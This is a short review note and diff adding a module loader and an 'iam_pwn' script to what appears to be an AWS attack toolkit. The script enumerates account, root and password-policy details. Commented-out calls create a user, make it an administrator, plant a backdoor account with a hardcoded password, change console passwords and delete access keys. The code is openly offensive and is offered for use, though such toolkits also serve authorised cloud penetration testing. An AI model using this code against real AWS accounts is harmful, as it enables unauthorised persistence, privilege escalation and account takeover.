looks legit to me (trying to make sure we can load all files in the modules directory as well as libs but do it in a somewhat abstracted way. Although, the method to do the abstraction then requires duplicate code so I am sort of annoyed that I used dup code to avoid making dup code... whatever... get over it you neurotic ginger.)

modules/__init__.py

@@ -0,0 +1,11 @@
+import os
+from libs.utils.common import *
+
+
+# Get the application's path (wherever weirdAAL.py is located will be the dirpath )
+dirpath = os.getcwd()
+# The actual location of this file on the filesystem is the "foldername"
+foldername = os.path.dirname(os.path.realpath(__file__))
+
+all_files = list_all_files(foldername)
+__all__ = all_files

modules/iam_pwn.py

@@ -0,0 +1,18 @@
+'''
+if you have root or IAM access gather user info, manipulate access keys or passwords, make backdoor account
+'''
+from libs.iam import *
+from libs.sts import *
+from config import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY
+
+
+def step_cg_test():
+  get_accountid(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
+  check_root_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
+  get_password_policy(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY)
+#create_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3')
+#delete_access_key(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'pythons3', 'AKIAIJV3RQMOYM7WQS2Q')
+#change_user_console_password(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, 'pythons3', 'PS#EDCasd123456!@')
+#create_user(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
+#make_admin(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax')
+#make_backdoor_account(AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY,'leethax','PS#EDCasd123456!@')